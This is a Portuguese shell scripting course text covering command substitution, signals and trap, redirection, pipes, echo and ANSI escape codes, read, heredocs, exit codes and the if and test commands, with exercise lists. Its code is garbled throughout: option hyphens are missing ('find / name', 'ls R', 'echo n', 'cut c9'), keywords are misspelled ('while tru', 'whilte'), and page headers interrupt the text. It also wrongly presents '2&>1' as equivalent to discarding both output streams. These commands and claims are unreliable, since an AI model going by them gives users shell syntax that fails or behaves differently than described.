Substituição de comando
$(comando) ou `comando`
A substituição de comando permite que você capture o resultado de um comando e
utilizeo como um argumento para outro comando ou armazene sua saída em uma variável.
Exemplo:
dir_atual=$(pwd)
cp $(ls *.txt) /home/user1/backup
Substituição do ~ (til)
A substituição do til é executada de acordo com as seguintes regras:
1. Um til sozinho ou em frente a uma barra é substituido pelo conteúdo da variável
HOME.
Exemplo:
HOME=/home/user3
echo ~
2. Um til seguido do sinal de + é substituído pelo valor da variável PWD.
3. Um til seguido de – será substituiído pelo valor da variável OLDPWD.
Exemplo:
echo ~
ls 1F ~/file1
ls – logt ~+/poodle
ls ~
Adbeel Goes Filho
ShellScripts 30
Prompting
Input / Output
Antes de um comando ser executado, sua entrada e saida pode ser redirecionada
usando as notações interpretadas pelo shell.
< word Usando word como entrada padrão
> word Usando word como saida padrão
>> word Idem ao >, so que neste caso se word já existe não sobrepõe, faz o append.
<&digit Uso associado a um descritor de arquivo como entrada padrão. Similar pela saida
padrão usando >&digit. Note que digit precisa ser de um tamanho entre 0 a 9.
Exemplo:
... 2>&1
Arquivo associado ao descritor 2 com o arquivo corrente associado com o descritor do
arquivo 1. Note que o redirecionamento de I/O é necessário se você quer sincronia com stdout e
stderr para o mesmo arquivo. Esta opção é bastante usado para se configurar impressoras ou
dispositivos seriais.
Conceito de Sinais
Um sinal é u m flag transmitido para um processo quando certos eventos ocorrem. Os
sinais mais conhecidos em ambiente *IX são:
NULL Saida do Shell ( ^D ou exit )
HUP Hungup – enviado para processos em retaguarda no logout
INT Interrupção ( ^C )
QUIT Quit ( ^\ ) gera arquivo core
KILL Morte certa ( Não pode ser capturado ou ignorado )
TERM Terminação por software
O comando kill transmite um sinal explícito para um ou mais processos.
Diite kill l para obter uma lista de sinais disponíveis no SO.
O que é um TRAP ?
Um trap é uma maneira de capturar sinais transmitidos a um processo e de executar
alguma ação baseada no tipo de sinal que foi recebido.
A trap simplesmente espera por sinais enviados ao Shell, identificaos e então, executa
Adbeel Goes Filho
ShellScripts 31
a ação associada. Uma trap pode ser definida para a remoção de arquivos temporários no término de
um programa ou pode definir sinais que devam ser ignorados durante um segmento sensível na
execução do programa.
O comando trap
O comando trap pode ser usado em programas Shell para capturar um sinal antes que
ele possa abortar um processo e executar alguma ação adicional ou alternativa.
Os comandos trap são normalmente colocados no início de um SS, mas eles podem
estar em qualquer parte do script. As traps são assinalidas pelo Shell quando este Lê o comando
trap. As traps são acionadas quando um sinal relacionado é recebido.
Sintaxe:
trap 'comandos' sinal1 sinal2 ... sinal n
Exemplo:
trap 'echo bye; exit ' 2 3 15
while tru; do
echo “Hello ...”
done
Ignorando sinais
O comando trap pode ser usado para ignorar determinados sinais quando estes forem recebidos pelo
processo.
Sintaxe:
trap '' sinal1 sinal2 ... sinal n
Exemplo: Ignora o sinal INT que é equivalente ao ^C.
trap '' 2
whilte true; do
echo “Hello ...”
sleep 2
done
Exemplo: gerenciar remoção de arquivos temporários se o programa for abortado
trap 'rm /tmp/templfile; exit' 2 3 15
Adbeel Goes Filho
ShellScripts 32
Exemplo: comando para ignorar sinais antes de sessos críticas de código
trap '' 3 5
Exemplo: restaurar o trap para ação default quando uma seção de código sensível for completada
trap INT QUIT TERM
ou
trap 2 3 15
As interrupções e sinais de término invocados por um comando são ignorados se este
comando foi executado seguido do caracter &. Outros sinais tem valores herdados pelo shell de
shellspai, com exceção do sinal 11. (seja comando trap).
Adbeel Goes Filho
ShellScripts 33
Comandos especiais
break [ n ]
continue [ n ]
cd [ arg ]
echo [ arg ... ]
eval [ arg ... ]
exit [ n ]
export [ name ... ]
hash [ r ][ name ... ]
newgrp [ arg ... ]
pwd
read [ name ... ]
return [ n ]
set [ aefhkntuvx [ arg ... ] ]
shift [ n ]
test
times
trap [ arg ] [ n ]
type [ name ... ]
ulimit [ f [ n ] ]
umask [ nnn ]
unset [ name ... ]
wait [ n ]
Chamada do sh
Opções podem ser especificadas com um simples ou múltiplos argumentos, mas em
todos os casos, cada opção deve iniciar com um .
c string Se a chave c está presente, então os comandos estão lendo de uma string.
s Se a chave s está presente, então os comandos estão lendo da entrada padrão, o shell
irá de cada parametro posicional.
i Se a entrada do shell estiver conectada a um terminal, então este shell é interativo,
Neste caso:
TERMINATE é ignorado(então o sinal 0 não mata shell interativo).
r Shell restrito.
sh pode retornar :
0 Sucesso
Adbeel Goes Filho
ShellScripts 34
1 A execução do programa com erro (Veja Comandos especiais)
2 Sintax Error (Erro de Sintaxe)
3 Signal received that is not trapped
6. Exercicios
1. Qual é a shell mais utilizada pelo AIX/6000 ?
2. Quais são os dispositivos default de entrada e saida utilizados pelo sistema ?
3. É possível alterar os dispositivos de entrada e saida padrões ? Como ?
4. Que tipo de informação é enviada para a saida padrão ?
5. Que outro dispositivo pode ser usado no lugar da entrada padrão ?
6. Utilizando redirecionamento, como você faria para escrever um pequeno texto no arquivo carta ?
7. Qual a diferença entre os sinais > e >> ?
8. Qual a finalidade do dispositivo nulo ?
9. O redirecionamento utilizado em um comando é válido para os próximos ? Explique
10.É possível redirecionar mais do que um dispositivo padrão num só comando ? Caso afirmativo,
faça um exemplo redirecionando todos os dispositivos padrões.
11. A ordem com que são feitos os redirecionamentos é relevante para a ação tomada pelo
comando ? E usando associações ? Explique.
12.Explique os seguintes comandos :
a) $ls 2> &1 > saida.do.ls
b) $ls R / > erros 2> arvore
c) $mailto claudia < carta
d) $cat >> carta
e) $ls l /usr > arvore 2> &1
f) $ls > saida.do.ls 2> &2
13.Utilizando a substituição de comandos, atribua a data de hoje no formato dd/mm/yy à variável
TODAY. Consulte o manual online para verificar quais os formatos possíveis para a exibição de
datas e/ou horas.
14.Liste o conteúdo do diretório de outro usuário usando a substituição do til ?
Adbeel Goes Filho
ShellScripts 35
15.Crie uma variável chamado MYNAME e armazene nela o seu primeiro nome. Como se mostra o
conteúdo da variável ?
16.Como fazer para que o Shell filho “enxergue” o conteúdo da variável MYNAME ?
17.Torne a variável TODAY somenteleitura. É possível excluir esta variável ?
18.Modifique seu prompt de comando, de modo que ele fique com a aparência a seguir:
[user1]10/10/2000 as 06:45/home/user1 =>
19.Utilizando a substituição de comando copie o conteúdo de /home/teste para /tmp
20.Exiba o conteúdo do seu diretório home na saida padrão.
21.Copie a lista detalhada dos processos em execução para o arquivo lista.txt no seu diretório home.
22.Sabendo que
a=1
b=2
c=3
Mostre na saida padrão começo32321meio34567fim utilizando os nomes das
variáveis.
23. Escreva um SS que emita uma mensagen na sua tela a cada 3 segundos com um bip. Torne este
SS imune aos sinais INT, HUP e TERM. Como parar este programa ?
Adbeel Goes Filho
ShellScripts 36
Capitulo 2. Execução de Programas
Falaremos agora sobre execução de programas em primeiro plano (fg foreground) e
em segundo plano (bg background), redirecionamento de saídas e também sobre os códigos de
escape dos programas.
7. Execução em foreground e background
cp arquivo1 arquivo2
E se pudéssemos dizer ao shell para executar um programa e nos retornar a linha de
comando sem ficar esperando o tal programa terminar ? Seria muito melhor, não? Em alguns casos
seria. E podemos fazer isso. Uma maneira fácil é colocar o sinal de & depois de um comando.
No exemplo acima ficaria:
virtvs@mucuripe:~$ cp arquivo1 arquivo2 &
[1] 206
virtvs@mucuripe:~$
Pronto, assim que teclarmos [enter], teremos a nossa linha de comando de volta e mais
duas informações: "[1] 206".
A primeira informação ([1]) chamase job. Ela identifica os programas que estão sendo
executados em bg (background). Por exemplo, se executarmos mais um programa em bg enquanto
este "cp" está sendo executado, o novo programa recebe o job de número 2 ([2]) e assim por diante.
A segunda informação (206) é o pid do programa, ou seja, o número de processo que o
kernel dá a esse programa.
Mas aí temos um pequeno problema. Digamos que você queira trazer o programa para
Adbeel Goes Filho
ShellScripts 37
virtvs@mucuripe:~$ cp arquivo1 arquivo2 &
[1] 206
virtvs@mucuripe:~$ fg 1
cp arquivo1 arquivo2
Assim trazemos o "cp" para primeiro plano e a linha de comando só retorna quando ele terminar.
Opcional
Uma outra maneira de colocar um programa para rodar em bg é utilizando um truque
do bash. Digamos que você execute o comando "cp" e esqueça de colocar o sinal "&". E aí ? Tem
que ficar esperando acabar ou cancelar o comando? Não, podemos teclar: Ctrl + Z. Ao fazer isso,
paramos a execução do programa. Então é só dar o comando
bg [job]
(intuitivo também, né?):
virtvs@mucuripe:~$ cp arquivo1 arquivo2
* aqui teclamos Ctrl + Z *
[1]+ Stopped cp i arquivo1 arquivo2
virtvs@mucuripe:~$ bg 1
[1]+ cp i arquivo1 arquivo2 &
virtvs@mucuripe:~$
Quando teclamos o Ctrl + Z, o bash nos diz que o job 1 foi parado ([1]+ Stopped) e
quando executamos "bg 1" ele nos diz que o comando voltou a ser executado, mas em bg (repare o
sinal de "&" no final da linha): [1]+ cp i arquivo1 arquivo2 &.
8. Redirecionamento
virtvs@mucuripe:~$ find / name netscape
/usr/lib/netscape
/usr/lib/netscape/netscape
/usr/lib/netscape/nethelp/netscape
/usr/local/bin/netscape
Adbeel Goes Filho
ShellScripts 38
Agora se quisermos procurar quantos arquivos compactados com o gzip (extensão .gz)
tem no nosso sistema para depois analisálos e possivelmente apagar os repetidos ou inúteis,
teremos uma lista muito grande. Aqui no meu sistema deu mais de 1000 arquivos. Então, seria útil
podermos enviar as mensagens que vão para o console, para um arquivo. Assim, poderíamos
analisálo depois de executar o comando. Isso é extremamente útil ao trabalharmos com shell script
enviar as saídas dos comandos para arquivos para depois analisálas. Exemplificando:
virtvs@mucuripe:~$ find / name "*.gz" > lista.txt
find: /home/vera: Permissão negada
find: /home/pri: Permissão negada
find: /root: Permissão negada
virtvs@mucuripe:~$
Notamos que nem tudo foi para o arquivo lista.txt. As mensagens de erro foram para o
console. Isso porque existem dois tipos de saída: a saída padrão e a saída de erro. A saída padrão é a
saída normal dos programas, que no caso acima, seria os arquivos encontrados. E a saída de erro,
como o próprio nome diz, são os erro encontrados pelo programa durante sua execução, que devem
ser informados ao usuário, como os erros de "permissão negada".
E aí, como selecionar uma ou outra ? É simples, apenas devemos indicar o "file
descriptor" (fd) delas. Não vamos entrar em detalhes sobre o que é "descritor de arquivos" por fugir
do nosso escopo e ser um pouco complicado, apenas temos que saber que o fd 1 corresponde a saída
padrão e o fd 2 a saída de erro. Assim, no exemplo acima, para enviar os erro para o arquivo
erros.txt e a saída padrão para o arquivo lista.txt, usaríamos:
virtvs@mucuripe:~$ find / name "*.gz" 1> lista.txt 2> erros.txt
Ou seja, é só por o número da saída desejada antes do sinal de ">".
Agora digamos que queremos ver o conteúdo do arquivo lista.txt. Podemos abrílo com
um editor de textos ou usar o "cat". Optando pela última opção:
virtvs@mucuripe:~$ cat lista.txt
/home/neo/gkrellm0.10.5.tar.gz
/home/neo/linuxcallinterfacebeta.tar.gz
...
<<< mais de 1000 linhas
virtvs@mucuripe:~$
Temos um problema. O arquivo tem mais de 1000 linhas e não conseguimos vêlo
inteiro. Podemos redirecionar a saída do comando "cat" para o comando "more", que dá pausa entre
as telas:
virtvs@mucuripe:~$ cat lista.txt | more
.........
Adbeel Goes Filho
ShellScripts 39
Veja que utilizamos o caractere "|", chamado "pipe". Não poderíamos ter utilizado o
sinal de ">"? Não, o sinal de ">" é somente para enviar a saída para um ARQUIVO. Para enviar a
saída de um comando para a entrada de outro, usamos o pipe.
As vezes queremos que além da saída ir para um arquivo, ela também vá para a tela.
Temos um programinha que faz isso. Ele chamase "tee". Veja o exemplo a seguir:
virtvs@mucuripe:~$ find / name "*.gz" 2> erros.txt | tee lista.txt
O que fizemos ? Primeiro pegamos a saída de erro e enviamos para o arquivo erros.txt.
O restante, ou seja, a saída padrão, estamos enviando para a entrada do comando tee (usando o
pipe). O tee simplesmente pega o que ele recebe (através do pipe) e joga no arquivo lista.txt e na
tela. Assim, além de gravarmos a saída num arquivo, podemos mostrar ao usuário o que está
acontecendo. Isso é muito útil quando escrevemos alguns scripts.
echo
Existem alguns momentos que você não quer que a saída do echo pule de linha
automaticamente. Para isso use o parâmetro "n". Este parâmetro é útil quando você vai entrar com
algo após o echo. Veja este script:
Exemplo:
#!/bin/bash
echo n "Entre com o nome do arquivo: "
read FILE
echo "Tipo do arquivo `file $FILE`"
Muita atenção deve ser tomada ao usar o echo, pois as aspas que você pode vir a deixar de usar
podem fazer um diferença (em alguns casos isso pode ser muito útil).
Exemplo:
$ echo uma boa rede de irc que conheco eh irc.linux.org
uma boa rede de irc que conheco eh irc.linux.org
$ echo "uma boa rede de irc que conheco eh irc.linux.org"
uma boa rede de irc que conheco eh irc.linux.org
$
$ # agora um exemplo com variavel
$
Adbeel Goes Filho
ShellScripts 40
$ TESTE="primeira linha da variavel
> segunda linha
> terceira...
> chega! :)
> "
$ echo $TESTE
primeira linha da variavel segunda linha terceira... chega! :)
$ echo "$TESTE"
primeira linha da variavel
segunda linha
terceira...
chega! :)
A esta altura você já deve ter se perguntado "Como faço para imprimir caracteres nova
linha ou beep?!". Os mais malandrinhos devem ter tentado um contrabarra (backslash) '\', mas você
não pode simplesmente fazer isso. É necessário usar o parâmetro "e" com o echo. Este parâmetro
permite que usemos sequências de escape contrabarra.
As sequências são iguais a da linguagem C, exemplo: \n para nova linha, \a para beep,
\b para backspace, etc...
Exemplo:
$ echo e "module caiu de cara tentando \"top soul\".\nQue paia\a"!
module caiu de cara tentando "top soul".
Que paia!
O e é também usado para escrever colorido e outras coisas interessantes. Veremos isso no tópico
seguinte.
9. Metacaracteres e Wildcards
Metacaracteres são caracteres que possuem algum significado especial para o shell.
Wildcards são subconjuntos dos metacaracteres cuja característica é simplificar a linha
de comando.
Os metacaracteres e wildcards serão vistos neste trabalho de uma maneira gradativa, a
medida em que sejam necessários.Alguns deles já foram vistos no redirecionamento (> < e >> ).
Veja mais alguuns metacaracteres:
Caracteres Definição
\ Continuação de linha
; Agrupamento de comandos
Adbeel Goes Filho
ShellScripts 41
Caracteres Definição
| Processamento Sequenciado
O caracter \ (continuação de linha) permite continuar a escrever o comando na linha
subsequente, caso o mesmo seja extenso, ou seja, não caiba em uma só linha da tela. Ressaltamos
que não deverá haver espaço em branco após este caractere. Após pressionarmos a tecla [ENTER] o
shell mostrará um novo prompt default (>) chamado de secundário, informando que a linha corrente
é a continuação da linha anterior.
Exemplo:
$cat /home/chico/public_html/index.html \
> /home/maria/public_html/index.html
O caracter de agrupamento de comando (;) permite agrupar os comandos em uma
mesma linha.
Sintaxe: $comando1 ; comando2
Exemplo:
$ls ; pwd
Isto é equivalente a digitar
$ls
$pwd
É importante observar que o segundo commando não depende da resposta do primeiro
comando, ou seja, não há relacionamento entre eles.
Pipes
Pipes ou tubos ( | ) é uma outra forma de agrupar comandos em uma mesma linha,
porém, há relacionamento entre os comandos.
Quand utilizamos o “|” (pipe), ele informa ao shell para conectar a saida padrão do
primeiro comando com a entrada padrão do segundo comando. Por sua vez, a saida do segundo
comando é direcionada para a saida padrão.
Para um melhor entendimento imagine que a linha de comando é um tubo por onde
deve passar a informação do primeiro comando para o segundo, do segundo para o terceiro e assim
sucessivamente, até que o último comando direcione a saida para a saida padrão.
Agora vejamos o pipe. Sua sintaxe é:
$ programa1 | programa2
Adbeel Goes Filho
ShellScripts 42
O pipe é usado para você fazer da saída de um programa a entrada de outro (como
usado no exemplo amarelinho.sh já mostrado anteriormente). Apesar de simples o pipe é muito útil
e poderoso. Veja este exemplo muito simples:
$ who
meleu tty1 Nov 20 01:40
hack tty2 Nov 20 01:45
root tty3 Nov 20 02:44
$ who | cut c9
meleu
hack
root
Comandos Úteis com o Pipe
xargs
O xargs transforma stdin em argumentos da linha de comando. Vamos usar o exemplo
anterior de novo:
Exemplo:
$ who | cut c9 # lembrando: pipe transforma stdout em stdin
meleu
hack
root
$ # "echo" nao le arquivo, ele usa argumentos.
$ # A linha abaixo nao tem utilidade.
$ who | cut c09 | echo
$ # "xargs" transforma o conteudo de stdin em argumentos
$ who | cut c09 | xargs echo
meleu hack root
Como eu gosto do find não resisti e colocarei um comando interessante que usa pipe e xargs:
$ find / perm 2 ! type l ! type c | xargs ls ld > wordwritable.txt
tee
Outro comando bom de se usar com pipe é o "tee". Ele faz com que a saída do
programa vá para a saída padrão, normalmente a tela e para um arquivo ao mesmo tempo. É como
se você fizesse "programa > arquivo" só que o saída do programa também seria escrita na saída
padrão. Experimente:
Adbeel Goes Filho
ShellScripts 43
$ ls la |tee conteudo.txt
O comando echo e os cracteres de saida
\b Backspace
\c Suprime a terminação newline
\f Alimentação de formulário
\n Nova linha ( NewLine )
\r Carriage Return
\t Tabulação
\a Caractere de alerta
\\ Barra invertida
\0nnn Caractere de código ASCII em octal
Adbeel Goes Filho
ShellScripts 44
10.Sequências de Escape ANSI
Para usar cores a sequência de escape é "\e[<NUM>m" (os sinais '<' e '>' não entram!).
Veja um exemplo (mais a frente você verá tabelas com os significados destas sequências):
Examplo:
#!/bin/bash
# imprime amarelinho no centro da linha
# A variável $COLUMNS contém o número de colunas que o terminal está
# usando, e antes de executar este script você precisa exportála:
# [prompt]$ export COLUMNS
[ $COLUMNS ] || {
echo Você precisa exportar a variável \"COLUMNS\":
echo "Tente \"export COLUMNS\" e tente executar novamente"
exit 1
}
POSICAO=$[ ( $COLUMNS `expr length "$*"` ) / 2 ]
# `expr length "$*"` retorna o número de caracteres digitados
# como parâmetros.
echo e "\e[${POSICAO}C\e[33;1m$*\e[0m"
Agora uma explicação ligeira: o \e diz ao echo que o que vem depois é uma sequência
de escape. Se você der a sequência '[<num>C', onde num é um número qualquer, o cursor vai andar
"num" caraceteres para a direita. Acima eu uso a variável POSICAO para mover o cursor para o
centro da linha (veja o cálculo no código).
O comando '[<num>m' muda para a cor "num". Cada cor tem um código próprio. No
exemplo acima o 33 faz ficar marrom, porém combinando com o 1 fica amarelo (isso no modo
texto, pois no xterm, por exemplo, o 1 faz o marrom ficar em negrito. veja OBSERVAÇÕES mais
adiante). Veja também uma tabela com os códigos de movimentação de cursor que eu conheço (os
caracteres '<' e '>' devem ser ignorados):
Adbeel Goes Filho
ShellScripts 45
Código O que faz
\e[<N>A Move o cursor N linhas acima.
\e[<N>B Move o cursor N linhas abaixo.
\e[<N>C Move o cursor N colunas à direita.
\e[<N>D Move o cursor N colunas à esquerda.
\e[<N>E Move o cursor N linhas para baixo na coluna 1.
\e[<N>F Move o cursor N linhas para cima na coluna 1.
\e[<N>G Coloca o cursor na linha N.
\e[<L>;<C>H Coloca o cursor na linha L e na coluna C.
\e[<N>I Move o cursor N tabulações à direita.
\e[<N>J N=0 Apaga do cursor até o fim da tela;
N=1 Apaga do cursor até o início da tela;
N=2 Apaga a tela toda.
\e[<N>K N=0 Apaga do cursor até fim da linha;
N=1 Apaga do cursor até o início da linha;
N=2 Apaga a linha toda.
\e[<N>L Adiciona N linhas em branco abaixo da atual.
\e[<N>M Apaga N linhas abaixo da atual.
\e[<N>P Apaga N caracteres a direita.
\e[<N>S Move a tela N linhas para cima.
\e[<N>T Move a tela N linhas para baixo.
\e[<N>X Limpa N caracteres à direita (com espaços).
\e[<N>@ Adiciona N espaços em branco.
\e[s Salva a posição do cursor.
\e[u Restaura a posição do cursor que foi salva.
Adbeel Goes Filho
ShellScripts 46
Agora uma tabelinha dos atributos e seus números (N deve estar no formato
"\e[<N>m"):
Atributo N Cor X
Desligar todos atributos 0 Preto 0
Negrito 1 Vermelho 1
Cor X para o primeiro plano 3X Verde 2
Cor X para o segundo plano 4X Marrom 3
Sublinhado 4 Azul 4
Piscando (blink) 5 Roxo 5
Video reverso 7 Ciano 6
x Branco 7
OBSERVAÇÕES:
2. read
Como você viu no script anterior para entrar com um dado usase "read". O read tem
alguns "macetinhos". Pra começar: você não precisa colocar um echo toda hora que for usar o read
para escrever um prompt. Basta fazer "read p prompt variavel"
Veja esta seção de exemplos:
Examplo:
#!/bin/bash
read p "Entre com uma string: " string
echo $string
$ ./read1.sh
Adbeel Goes Filho
ShellScripts 47
Entre com uma string: klogd eh um tremendo cachacero!
klogd eh um tremendo cachacero!
Examplo:
#!/bin/bash
read p "Entre com 3 strings: " s1 s2 s3
echo "s1 = $s1 s2 = $s2 s3 = $s3"
Examplo:
$ ./read2.sh
Entre com 3 strings: j00nix eh cabecudo
s1 = j00nix s2 = eh s3 = cabecudo
# o mesmo script com mais de 3 strings #
$ ./read2.sh
Entre com 3 strings: eSc2 adora ficar de copy'n'paste no IRC.
s1 = eSc2 s2 = adora s3 = ficar de copy'n'paste no IRC.
Quando o "read" vai ler apenas uma variável, toda a string vai ser atribuída a esta
variável. Quando vai ler mais de uma variável ele atribui cada string a sua respectiva variável; e
quando o número de strings excede o número de variáveis a última fica com o excedente.
O parâmetro "s" serve para não ecoar o que for digitado. É útil para digitar uma senha
por exemplo. Tente "read s PASS" e veja.
Você também pode determinar o número de caracteres que serão lidos com o
parâmetro "n". Tente fazer "read n 10 VAR". Mas cuidado: ao usar a opção n você não poderá
usar o backspace para fazer correções.
A opção "r" serve para que a contrabarra (backslash) não aja como um caracter de
escape.
3. Redirecionamento
Quem já sabe programar deve saber que existem três "file descriptors" abertos por
padrão (pelo menos nos sistemas operacionais que conheço):
stdin (standard input), stdout (standard output) e stderr (standard error). Para fins práticos, estes são
considerados arquivos e você pode direcionar destes "arquivos" para outros e viceversa.
Adbeel Goes Filho
ShellScripts 48
Veja como direcionar de:
arquivo para stdin $ programa < arquivo
stdout para arquivo $ programa > arquivo
stderr para arquivo $ programa 2> arquivo
stdout para stderr $ programa 1>&2
stderr para stdout $ programa 2>&1
stdout e stderr para arquivo $ programa &> arquivo
Se você usar por exemplo "find / perm 2 > worldwritable.txt" e no diretório não tiver
um arquivo chamado "worldwritable.txt" este será criado, a saída do comando será gravada nele e a
saída de erro padrão será impressa na tela. Para não ver as mensagens de "Permission Denied" faça
isso:
$ find / perm 2 > worldwritable.txt 2> /dev/null
Ainda temos um probleminha: este comando irá mostrar também todos os links
simbólicos e vários arquivos de dispositivo. Para eliminar os links simbólicos faça o seguinte:
$ find / perm 2 ! type l > worldwritable.txt 2> /dev/null
Se o arquivo já existir seu conteúdo será sobregravado. Mas você pode apenas
concatenar o conteúdo no final do arquivo usando ">>". Exemplo:
$ echo " F I M D O A R Q U I V O " >> worldwritable.txt
Veja este script a seguir a execute ele usando redirecionamento na linha de comando
pra ver os resultados
#!/bin/bash
echo "Isto vai para a saída padrão."
echo "Isto vai para a saída de erro padrão." 1>&2
echo "Isto vai criar um arquivo e colocar esta linha nele." > ARQUIVO
echo "Esta linha vai para o final do arquivo." >> ARQUIVO
Tem um outro tipo de redirecionamento que é bastante útil. É assim:
$ programa << delimitador
Isto quer dizer que o programa vai ler o arquivo stdin até encontrar o delimitador. Isso é muito útil
para usar programas externos através de shell scripts.
Você pode, por exemplo, usar este tipo de redirecionamento para fazer um shell script escrever um
outro arquivo usando o comando "cat". Vamos a um exemplo em que eu crio um código de
Adbeel Goes Filho
ShellScripts 49
programa escrito em C através do script (note que as variáveis do script SÃO interpretadas):
#!/bin/bash
NAME=`whoami`
echo e "\n\tCRIANDO O ARQUIVO arquivo.c\n"
# O arquivo.c terminará quando encontrar a string _EOF_
cat << _EOF_ > arquivo.c
#include <stdio.h>
int main (void) {
printf ("\n\tPrograma que não faz nada além disso.\n");
printf ("\tFeito por $NAME\n\n");
return 0;
}
_EOF_
# O arquivo.c acabou na linha ACIMA do _EOF_
# Observe no arquivo.c o $NAME será "traduzido" para o username adequado
echo e "\n\tCOMPILANDO O PROGRAMA\n"
gcc arquivo.c o arquivo
echo e "\n\tFEITO!\n"
11.Códigos de Escape
Toda vez que executamos um programa em Unix, ele retorna um código de escape ao
finalizar. Esse código reflete a condição em que o programa finalizou. Se ocorreu tudo certo e o
programa terminou normalmente, ele retorna 0. Se ocorreu algum problema, o programa retorna um
código diferente de 0, geralmente variando com o problema ocorrido.
Por exemplo, vamos executar um "ls" em um diretório que existe e ver o código de retorno:
virtvs@mucuripe:~$ ls /boot
System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b
virtvs@mucuripe:~$ echo $? 0
virtvs@mucuripe:~$
Adbeel Goes Filho
ShellScripts 50
Ou seja, o "ls" foi executado normalmente, retornando 0. Agora vamos executálo num diretório que
não existe:
virtvs@mucuripe:~$ ls /diretorio_invalido
/bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado
virtvs@mucuripe:~$ echo $?
1
virtvs@mucuripe:~$
Como esperado, obtemos o retorno de erro 1.
Alguns programas tem muitos códigos de retorno. Por exemplo, os códigos de retorno
do "pppd" vão até o 19. Assim é possível saber porque ele foi finalizado. Se você colocar uma senha
errada no pppd e tentar conectar, ele vai terminar com o código 19.
man pppd
...
17 The PPP negotiation failed because serial loopback was detected.
18 The init script failed (returned a nonzero exit status).
19 We failed to authenticate ourselves to the peer.
...
Um detalhe importante: quando executamos um programa em background, ele sempre retorna um
código 0 para o shell, mesmo que durante sua execução ocorra algum problema. Assim, quando
executamos um programa em bg, perdemos essa facilidade de testar como foi seu término.
virtvs@mucuripe:~$ ls /diretorio_invalido &
[1] 230
virtvs@mucuripe:~$ /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado
[1]+ Exit 1 /bin/ls $LS_OPTIONS /diretorio_invalido
virtvs@mucuripe:~$ echo $?
0
Como vemos, ao terminar, ele emite uma mensagem dizendo que finalizou com código 1 ([1]+ Exit
1) mas quando testamos a variável "?", o bash nos diz "0".
12.Conclusões
Adbeel Goes Filho
ShellScripts 51
13.Exercicios
1. Qual a diferença entre o pipe (|) e o ponto e virgula (;) ?
2. Digite o comando abaixo em duas linhas unidas pelo metacaractere \.
$cat /home/lab/texto1 /home/lab/text2
3. Liste, paginando, todos os processos que estão sendo executados.
4. Mostre todos os processos do usuário root.
5. O que faz o comand: $ps ef | cut c9
6. Quantas pessoas estão executando o processo ksh ?
7. Quantos subdiretórios existem dentro do diretório /usr ?
Adbeel Goes Filho
ShellScripts 52
Capitulo 3. Comandos Condicionais
O famoso "if"
O bash nos oferece, entre outros, o comando “if” (ele é um comando embutido no bash
e não um programa como o "ls", o "cp" etc.). A forma mais simples de representar uma condicional
utilizando o “if”, é da seguinte forma básica:
if [condição];
then comandos1;
else comandos2;
fi;
Se [condição] for verdadeira, os comandos1 são executados. Se for falsa, os comandos2
são executados. Mas para o if, o que é uma condição verdadeira ou uma falsa ?
Como foi explicado anteriormente, TODO comando em Unix tem um código de
retorno. Geralmente o código "0" (zero) significa que o comando foi executado perfeitamente e
terminou bem. Códigos maiores que zero significam que alguma coisa de errado ocorreu.
É assim que o if verifica uma condição. Se o seu código de retorno for zero, então ela é
considerada verdadeira. Caso contrario, ela é falsa. Mas então a [condição] tem que ser um
comando, certo? Exatamente. Vamos exemplificar:
virtvs@mucuripe:~$ if ls /boot; then echo "O diretório existe."; else echo
"Diretório inválido."; fi;
System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b
O diretório existe.
O que fizemos ?
Logo após o if, nós colocamos um comando: "ls /boot". O que o if faz ? Ele executa
esse comando (por isso que temos a segunda linha começada por "System.map", que é o conteúdo
do meu diretório /boot) e avalia o seu código de saída. Como o "ls" foi executado corretamente, ele
retorna zero, significando verdadeiro para o if , que executa o comando logo após o "then", ou seja,
o echo "O diretório existe.", mostrando essa mensagem no console.
Agora vamos colocar um diretório que não existe:
Adbeel Goes Filho
ShellScripts 53
virtvs@mucuripe:~$ if ls /dir_invalido; then echo "O diretório existe.";
else echo "Diretório inválido."; fi;
/bin/ls: /dir_invalido: Arquivo ou diretório não encontrado
Diretório inválido.
A lógica é a mesma. Executa o "ls /dir_invalido", que retorna um código maior que
zero. O if avalia como falso e executa o comando após o else: echo "Diretório inválido".
Nós poderíamos omitir a segunda linha dos dois exemplo (a que mostra o conteúdo de
/boot no primeiro exemplo e a mensagem de erro emitida pelo ls dizendo que /dir_invalido não
existe no segundo), apenas redirecionando as saídas para /dev/null, ou seja:
virtvs@mucuripe:~$ ls /boot 1> /dev/null 2> /dev/null
Nota: Tem um macete que possui o mesmo efeito. Em vez de colocar: "1> /dev/null 2> /dev/null"
podemos colocar "2&>1", que é menor e mais simples.
Comando "test"
Aprendemos que o “if” avalia a código de retorno de um comando. Muitas vezes, para
não dizer a maioria, nós queremos avaliar "expressões", ou seja, verificar se uma variável é igual a
outra, se ela esta vazia etc.
Para isso, nós temos outro comando chamado "test". Ele funciona da seguinte maneira:
test [expressão]
O test pode testar operações de três tipos: strings, arquivos e aritméticas.
Expressões usando strings:
O test pode apenas comparar strings, ou seja, verificar se uma é igual a outra, e
verificar se uma string é vazia ou não. Vamos aos exemplos para facilitar o entendimento:
virtvs@mucuripe:~$ test "a" = "a"
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test "a" = "b"
virtvs@mucuripe:~$ echo $?
1
virtvs@mucuripe:~$ test "a" != "b"
virtvs@mucuripe:~$ echo $?
0
Adbeel Goes Filho
ShellScripts 54
Aqui comparamos a string "a" com "b". Como era de se esperar, o primeiro retornou verdadeiro
(zero), pois a = a e o segundo retornou falso. No terceiro, o símbolo "!=" significa "diferente".
virtvs@mucuripe:~$ test z "neo"
virtvs@mucuripe:~$ echo $?
1
virtvs@mucuripe:~$ test z ""
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test n "neo"
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test n ""
virtvs@mucuripe:~$ echo $?
1
Acima temos os testes de vazio. A opção "z" verifica se é vazio, e "n" se não é vazio.
No primeiro caso, ele testa se "neo" é uma string vazia, retornando falso. Já no segundo caso, como
"" é vazia, retorna verdadeiro. O terceiro e quarto são semelhantes aos primeiros, mas com "n".
Expressões com arquivos:
Os testes que podem ser feitos com arquivos são para verificar determinadas
caracteristicas, como se ele existe, se é executavel, se é um link simbólico, se é um diretório etc.
A seguir, temos uma lista de várias opções disponíveis:
